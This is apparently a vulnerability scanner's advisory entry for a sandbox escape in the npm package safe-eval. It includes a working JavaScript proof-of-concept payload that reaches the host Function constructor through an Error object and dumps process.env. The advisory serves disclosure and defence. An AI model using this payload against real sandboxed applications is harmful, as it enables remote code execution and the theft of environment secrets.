QID 981853
QID 981853: Nodejs (npm) Security Update for safe-eval (GHSA-hrpq-r399-whgw)
All versions of `safe-eval` are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through Error objects. This may allow attackers to execute arbitrary code in the system.
Evaluating the payload
```
(function (){
var ex = new Error
ex.__proto__ = null
ex.stack = {
match: x => {
return x.constructor.constructor("throw process.env")()
}
}
return ex
})()
```
prints the contents of `process.env`.
## Recommendation
No fix is currently available. Consider using an alternative package until a fix is made available.
Successful exploitation of this vulnerability may affect the confidentiality, integrity, and availability of the targeted user.
Solution
Customers are advised to refer to GHSA-hrpq-r399-whgw for updates pertaining to this vulnerability.
Vendor References
- GHSA-hrpq-r399-whgw -
github.com/advisories/GHSA-hrpq-r399-whgw
CVEs related to QID 981853
Software Advisories
| Advisory ID | Software | Component | Link |
|---|---|---|---|
| GHSA-hrpq-r399-whgw | safe-eval |
|